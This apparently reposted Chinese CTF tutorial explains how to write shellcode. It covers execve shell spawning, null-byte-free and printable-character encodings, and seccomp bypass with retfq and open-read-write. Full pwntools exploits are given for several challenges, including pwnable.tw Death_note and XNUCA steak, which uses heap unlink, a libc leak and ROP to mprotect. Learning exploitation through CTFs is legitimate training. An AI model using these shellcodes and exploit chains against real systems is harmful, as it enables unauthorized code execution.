Shellcode


什么是Shellcode:

  shellcode是我们写入到程序的一段可执行代码,通过执行这串代码我们可以拿到靶机的shell,从而可以干你想干的事。不过现在的题目一般都对可以写入的位置做了限制,既可写不可执行。但如果是一道专门的shellcode题,则会在某一段加入可写可执行的权限,或则利用mprotect()或者_dl_make_stack_executable()改写某些区域的proc再执行。

  32位的shellcode和64位的略有不同,这里我们先讲32位的shellcode。

x86:

我们先用C写一个调用shell的程序,其代码如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
  execve("/bin/sh", 0, 0);
  return 0;          
}

  编译成32位程序:gcc -m32 -g -o test1 test1.c,运行便可以拿到我们本机的shell。

  我们调试一下看看是怎么调用execve()这个函数的。

  这里我们进入到execve()函数里,发现是这样一串汇编代码:

执行后寄存器的值为:

  我们可以发现再调用execve()函数之前,程序显示给相应的寄存器赋值,然后调用execve()函数。现在我们可以模仿这个调用机制来写相对应的汇编代码。

  不过要注意的是,之前的是一个完整的C语言程序,但在shellcode中引入这么多头文件是不现实的,因此我们用int 80h系统调用(有关int 80h的知识读者可自行百度),再者写汇编时 “/bin/sh” 这个字符串需要我们手动压入栈中,写好的程序如下:

mov edx,0
mov ecx,0
push 0x68732f
push 0x6e69622f
mov ebx,esp
mov eax,0xb
int 0x80

编写一个测试程序如下:

// gcc main.c -m32 -z execstack -o main
#include <stdio.h>
int main() {
    void (*ptr)();
    char buf[0x20];
    puts("shellcode>>");
    read(0, buf, 0x20);
    ptr = buf;
    ptr();
}

exp如下:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
p = process("./test")
#gdb.attach(p)
shellcode = asm('''
        mov edx, 0
        mov ecx, 0
        push 0x68732f
        push 0x6e69622f
        mov ebx, esp
        mov eax, 0xb
        int 0x80
''')
info(disasm(shellcode))
p.sendafter("shellcode>>\n", shellcode)
p.interactive()

 运行一下exp就可以拿到我们本机的shell。这里我们观察一下shellcode的十六进制机器码:

总共占29个字节,而且包含很多坏字符'\x00',容易导致shellcode被截断失去作用。这时候我们就要对shellcode进行优化。

  • mov edx, 0是对寄存器edx清零,占5个字节。xor edx, edx也是对edx寄存器清零,但是只占两个字节,因此我可以用xor指令进行替换
  • 同理,把mov ecx, 0 替换为xor ecx, ecx
  • mov eax, oxb其实是对寄存器eax低8位赋值,因此我们可以将其改为mov al, 0xb

优化后的shellcode为:

xor edx, edx
xor ecx, ecx
push 0x68732f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80

此时shellcode的大小变为20字节

另一种方法就是用mul指令来清零eax和edx,其代码如下:

mul ebx
xor ecx, ecx
mov al, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80

优化后的字节数也是20字节

 x64:

同样,先写出一个完整的C程序观察如何调用shell,代码如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    execve("/bin/sh", 0, 0);
    return 0;
}

编译运行并调试,有如下结果

 然后模仿这个调用过程写出汇编代码:

mov rdx, 0
mov rsi, 0
mov rdi, 0x68732f6e69622f 
push rdi
mov rdi, rsp
mov rax, 0x3b
syscall

同样对shellcode进行优化,优化后的代码如下:

mov al, 59
push rbx
push rbx
pop rsi
pop rdx
mov rdi, 0x68732f6e69622f
push rdi
push rsp
pop rdi
syscall

 题外:几个有用的命令

nasm -f elf64 shellcode.asm
ld -m elf_x86_64 -o shellcode shellcode.o

例题:

题目附件

限制字符范围,禁用execve和open

查看题目保护:

 用IDA分析程序时发现有禁用系统调用,如下:

且限制输入的字符ascii在0x1f到0x7f,即只能输入可见字符。

思路分析:

限制了系统调用不能getshell,所以采用orw。

由上图可知open函数是禁用的。这里我们先看看允许的系统调用号为多少。

由上可知,如果我们把程序改为32位运行,就可以使用open函数,之后又改为64位运行,就可以调用read、wirte函数。

修改程序运行模式需要用到retfq这个指令,这个指令有两步操作:ret和set cs。cs=0x23程序以32位模式运行,cs=0x33程序以64位模式运行。retfq这个指令参数是放在栈中,[rsp]为要执行的代码的地址,[rsp + 0x8]为0x23或0x33。需要的注意的是,在由64位变为32位后,rsp的值会变成非法值,故需先修复rsp的值在执行相应的代码

总体思路:

  • mmap分配一段地址为4个16进制位的内存(如:0x40404040)。其有两个目的:生成地址可控的内存空间,方便用read写入code;防止程序变为32位后寄存器无法存储原本5个16进制位的地址。
  • 用汇编实现read函数
  • retfq改为32运行模式
  • open打开flag文件
  • retfq改为64位运行模式
  • read
  • wirte

踩坑记录:因为以前做到orw的题目用open打开后文件描述符一般都是3,所以这里我也用3作为参数,结果远程环境不是3,在这里浪费了好多时间

完成exp如下:

#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
DEBUG = 1
if DEBUG == 0:
    p = process('./shellcode')
elif DEBUG == 1:
    p = remote('nc.eonew.cn', 10011)

code_append = asm('''
        push rcx
        pop rcx
''', arch = 'amd64', os = 'linux')
# 用mmap分配一段内存空间
code_mmap = asm('''
        /*mov rdi, 0x40404040*/
        push 0x40404040
        pop rdi

        /*mov rsi, 0x7e*/
        push 0x7e
        pop rsi

        /*mov rdx, 0x7*/
        push 0x37
        pop rax
        xor al, 0x30
        push rax
        pop rdx

        /*mov r8, 0*/
        push 0x30
        pop rax
        xor al, 0x30
        push rax
        pop r8

        /*mov r9, 0*/
        push rax
        pop r9

        /*syscall*/
        push 0x5e
        pop rcx
        xor byte ptr [rbx+0x2c], cl
        push 0x5c
        pop rcx
        xor byte ptr [rbx+0x2d], cl

        /*mov rax, 0x9*/
        push 0x39
        pop rax
        xor al, 0x30
''', arch = 'amd64', os = 'linux')

code_read = asm('''
        /*mov rsi, 0x40404040*/
        push 0x40404040
        pop rsi

        /*mov rdi, 0*/
        push 0x30
        pop rax
        xor al, 0x30
        push rax
        pop rdi

        /*mov rdx, 0x7e*/
        push 0x7e
        pop rdx

        /*mov rax, 0*/
        push 0x30
        pop rax
        xor al, 0x30

        /*syscall*/
        push 0x5e
        pop rcx
        xor byte ptr [rbx+0x4f], cl
        push 0x5c
        pop rcx
        xor byte ptr [rbx+0x50], cl

''', arch = 'amd64', os = 'linux')

code_retfq = asm('''
        /* 算出0x48 */
        push 0x39
        pop rcx
        xor byte ptr [rbx + 0x71], cl
        push 0x20
        pop rcx
        xor byte ptr [rbx + 0x71], cl

        /*
        * 利用无借位减法算出0xcb
        */
        push 0x47
        pop rcx
        sub byte ptr [rbx + 0x72], cl
        sub byte ptr [rbx + 0x72], cl
        push rdi
        push rdi
        push 0x23
        push 0x40404040
        pop rax
        push rax
''', arch = 'amd64', os = 'linux')

code_open = asm('''
        /* open函数 */
        mov esp, 0x40404550
        push 0x67616c66
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        mov eax, 0x5
        int 0x80
        mov ecx, eax
''', arch = 'i386', os = 'linux')

code_retfq_1 = asm(''' 
        /* retfq */
        push 0x33
        push 0x40404062 /* 具体数字有待修改 */
        retfq
''', arch = 'amd64', os = 'linux')

code_read_write = asm('''
        /* 修复栈 */
        mov esp, 0x40404550 /* 有待修改 */

        /* read函数 */
        mov rdi, rcx
        mov rsi, 0x40404800
        mov rdx, 0x7a
        xor rax, rax
        syscall

        /* write函数 */
        mov rdi, 0x1
        mov rsi, 0x40404800
        mov rdx, 0x7a
        mov rax, 0x1
        syscall
''', arch = 'amd64', os = 'linux')

#gdb.attach(p, 'b * 0x4002eb\nc\nsi')
code  = code_mmap
code += code_append
code += code_read
code += code_append
code += code_retfq
code += code_append

code1  = code_open
code1 += code_retfq_1
code1 += code_read_write

p.sendafter("shellcode: ", code)
#pause()
p.sendline(code1)
p.interactive()
p.close()

 参考博客

编写code时的一些小技巧:

1、用push、pop来给寄存其赋值
push rax
pop rax

2、用寄存器代替操作数
xor byte ptr [rax + 0x40], 0x50              80 70 40 50
可用如下代码代替
push 0x50                                    6a 50
pop rcx                                      59
xor byte ptr [rax + 0x40], cl                30 48 40

3、清零某一寄存器可用如下代码
push 0x30                                    6a 30
pop rax                                      58
xor al, 0x30                                 34 30

4、尽量使用al、bl、cl而非dl

5、有时候交换两个寄存器的位置可以减小机器码值的大小

 orw:

题目附件

32位程序,题目为比较简单,没有字符限制,直接上exp:

#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./orw')

code = asm('''
        /* open */
        push 0
        push 0x67616c66
        mov ebx, esp /* 第一个参数的地址 */
        xor ecx, ecx
        xor edx, edx 
        mov eax, 5 /* 系统调用号 */
        int 0x80

        /* read */
        mov ebx, eax /* 文件描述符 */
        mov ecx, 0x0804a050 /* 写入数据的内存地址 */
        mov edx, 0x20 /* 读取数据的长度 */
        mov eax, 0x3 /* 系统调用号 */
        int 0x80

        /* write */
        mov ebx, 1 /* 文件描述符 */
        mov ecx, 0x0804a050 /* flag地址 */
        mov edx, 0x20 /* 打印的数据长度 */
        mov eax, 0x4 /* 系统调用号 */
        int 0x80
        
''', arch = 'i386', os = 'linux')

#gdb.attach(p, 'b * 0x0804858a\nc\nsi')
p.sendafter("shellcode:", code + '\x00')


p.interactive()

 限制字符在[0-9]、[A-Z]:

附件

题目源代码:

// gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2
int main() {
    char buf[0x200];
    int n, i;
    n = read(0, buf, 0x200);
    if (n <= 0)
        return 0;
    for (i = 0; i < n; i++) {
        if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) // 0~9 A~Z
            return 0;
    }
    ((void(*)(void))buf)();
}

这个shellcode我们可以用工具生成,具体看博客

exp如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./chall2')
payload1 = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA"
info(len(payload1))
p.send(payload1)
p.interactive()

 Death_note:

题目附件

这题把字符限制在可见字符范围内,且输入的shellcode长度不得超过0x50。这个还是比较好编写的。具体的可用的指令如下:

1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

exp如下:

#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
#p = process('./death_note')
p = remote('chall.pwnable.tw', 10201)

def Add(index, content):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('Index :', str(index))
    p.sendafter('Name :', content)

def Show(index):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('Index :', str(index))

def Delete(index):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('Index :', str(index))
    
#gdb.attach(p, 'b * 0x08048770\nc\nb * 0x080487c0\nb * 0x08048873\nc 3\nc 3\nsi')
shellcode = asm('''
        /* 计算/bin/sh 13 */
        push 0x2b
        pop ecx
        sub byte ptr [eax+0x44], cl
        sub byte ptr [eax+0x48], cl

        /*计算ebx*/  
        push eax
        pop ecx
        xor al, 0x44
        push eax
        pop ebx

        /* 计算int 0x80 */
        push ecx
        pop eax
        push 0x40
        pop ecx
        sub byte ptr [eax+0x37], cl
        push 0x43
        pop ecx
        sub byte ptr [eax+0x37], cl
        push 0x60
        pop ecx
        sub byte ptr [eax+0x38], cl
        push 0x70
        pop ecx
        sub byte ptr [eax+0x38], cl

        /* 清零ecx, edx 9 */
        push 0x40
        pop eax
        xor al, 0x40
        push eax
        pop ecx
        push eax
        pop edx

        push 0x4b
        pop eax
        xor al, 0x40
        
''')

payload  = shellcode
payload += '\x50'*13
payload += 'ZbinZsh\n'

Add(-19, payload)
Delete(-19)
p.interactive()

 2018-XNUCA steak:

题目附件

这道题不是单纯的编写shellcode的题目,这个题结合了堆利用、ROP、shellcode、IO_FILE等知识,是一道综合能力比较强的题目。

在用IDA分析时看到有prctl函数,所用先用seccomp工具查看禁用的系统调用。

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x35 0x00 0x01 0x000000c8  if (A < tkill) goto 0005
 0004: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0005: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0007
 0006: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0007: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0009
 0008: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0009: 0x15 0x00 0x01 0x0000002a  if (A != connect) goto 0011
 0010: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0011: 0x15 0x00 0x01 0x0000002b  if (A != accept) goto 0013
 0012: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0013: 0x15 0x00 0x01 0x0000002c  if (A != sendto) goto 0015
 0014: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0015: 0x15 0x00 0x01 0x0000002d  if (A != recvfrom) goto 0017
 0016: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0017: 0x15 0x00 0x01 0x0000002e  if (A != sendmsg) goto 0019
 0018: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0019: 0x15 0x00 0x01 0x0000002f  if (A != recvmsg) goto 0021
 0020: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0021: 0x15 0x00 0x01 0x00000030  if (A != shutdown) goto 0023
 0022: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0023: 0x15 0x00 0x01 0x00000031  if (A != bind) goto 0025
 0024: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0025: 0x15 0x00 0x01 0x00000032  if (A != listen) goto 0027
 0026: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0027: 0x15 0x00 0x01 0x00000035  if (A != socketpair) goto 0029
 0028: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0029: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0031
 0030: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0031: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0033
 0032: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0033: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0035
 0034: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0035: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0037
 0036: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0037: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0039
 0038: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0039: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0041
 0040: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0041: 0x06 0x00 0x00 0x7fff0000  return ALLOW

这题我在看大佬博客时说因为禁用里fork调用,所以不能用getshell这个方法,目前我也每弄清除为啥。

接下来看下程序本身的漏洞。

在add函数中读入数据时最后字符串不会添加'\x00'

在delete函数中free后没用清空指针

在edit函数中存在堆溢出

程序中还有其他漏洞,不过我们需要利用的就只有这几个。

思路分析:

  1. 程序中管理分配的chunk的数组地址是可控的,可以利用unlink来控制数组,从而达到任意地址写的目的
  2. 程序中没有leak函数,所以我们需要修改stdout表来泄漏动态链接表加载基址
  3. 向free_hook中写入puts函数泄漏栈地址(free函数对要释放的chunk的有严格的检查机制,这道题要把栈当作堆来释放,明显不符合chunk的格式,但在free时却不会报错,目前每理清楚)
  4. 向.bss节写入orw的代码
  5. mprotect修改.bss节可执行

完整的exp如下:

# -*- coding:utf8 -*-
from pwn import *
context(os = 'linux', log_level = 'debug') 
context.terminal = ['tmux', 'splitw', '-h']
p = process('./steak')
libc = ELF('libc-2.23.so')

def Add(size, buf):
    p.sendlineafter('>\n', '1')
    p.sendlineafter('input buf size:\n', str(size))
    p.sendafter('input buf', buf)

def Delete(index):
    p.sendlineafter('>\n', '2')
    p.sendlineafter('input index:\n', str(index))

def Edit(index, size, buf):
    p.sendlineafter('>\n', '3')
    p.sendlineafter('input index:\n', str(index))
    p.sendlineafter('input size:\n', str(size))
    p.sendafter('input new buf:\n', buf)

def Copy(sindex, dindex, length):
    p.sendlineafter('>\n', '4')
    p.sendlineafter('input source index:\n', str(sindex))
    p.sendlineafter('input dest index:\n', str(dindex))
    p.sendlineafter('input copy length:\n', str(length))

def Edit1(index, size, buf):
    p.sendlineafter('>', '3')
    p.sendlineafter('input index:', str(index))
    p.sendlineafter('input size:', str(size))
    p.sendafter('input new buf:', buf)

# unlink
Add(0x80, 'A'*0x80) #0
Add(0x80, 'A'*0x80) #1
Add(0x80, 'A'*0x80) #2
Add(0x80, 'A'*0x80) #3
Add(0x80, 'A'*0x80) #4
payload  = p64(0) + p64(0x81) + p64(0x6021a0) + p64(0x6021a8) + 'A'*0x60 + p64(0x80) + p64(0x90)
Edit(3, 0x90,payload)
Delete(4)

# 修改stdout,leak
payload = p64(0x6021a0) + p64(0x602180)
Edit(3, 0x10, payload)
Copy(1, 0, 0x8)
payload = p64(0xfbad1800) + p64(0)*3 + '\x00'
Edit(0, 0x21, payload)
p.recv(0x18)
libc_base = u64(p.recv(8)) - 0x3c36e0
libc.address = libc_base

"""
将栈地址写入到索引为0的数组中
"""
############ 写入栈地址,为free函数泄漏栈地址作准备 #################
environ_addr = libc.symbols['environ']
payload = p64(0x6021a0) + p64(environ_addr)
Edit1(3, 0x10, payload)

############ 向free_hook汇总写入puts ###################
free_hook = libc.symbols['__free_hook']
puts_addr = libc.symbols['puts']
Edit1(3, 0x8, p64(free_hook))
Edit1(0, 0x8, p64(puts_addr))

############# Delete(1),泄漏栈地址 ################
p.sendlineafter('>', '2')
p.sendlineafter('input index:', str(1))
p.recvuntil('\n')
stack_addr = u64(p.recv(6) + '\x00\x00')
info("stack_addr ==> " + hex(stack_addr))

################# 在0x602500中写入retfq orw ##############
retfq = 0x811dc + libc.address
orw = asm('''
        mov esp, 0x6029f0

        /* open */
        mov ebx, 0x602544
        mov ecx, 0
        mov edx, 0
        mov eax, 5
        int 0x80

        /* read */
        mov ebx, eax
        mov ecx, 0x602800
        mov edx, 0x40
        mov eax, 3
        int 0x80

        /* write */
        mov ebx, 1
        mov ecx, 0x602800
        mov edx, 0x40
        mov eax, 4
        int 0x80
''', arch = 'i386', os = 'linux')
Edit1(3, 0x8, p64(0x602500))
Edit1(0, len(orw) + 4, orw + 'flag')

############ mprotect #################
mprotect = libc.symbols['mprotect']
info("mprotect ==> " + hex(mprotect))
stack_ret_addr = stack_addr - 0xf0
pop_rdi = 0x0000000000400ca3
pop_rsi = libc_base + 0x202e8
pop_rdx = libc_base + 0x1b92
rop  = p64(pop_rdi) + p64(0x602000)
rop += p64(pop_rsi) + p64(0x1000)
rop += p64(pop_rdx) + p64(7)
rop += p64(mprotect)
rop += p64(retfq)
rop += p64(0x602500)
rop += p64(0x23) + p64(0x602500) # retfq的参数
Edit1(3, 0x8, p64(stack_ret_addr))
Edit1(0, len(rop), rop)
p.sendlineafter('>', '5')
p.interactive()

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM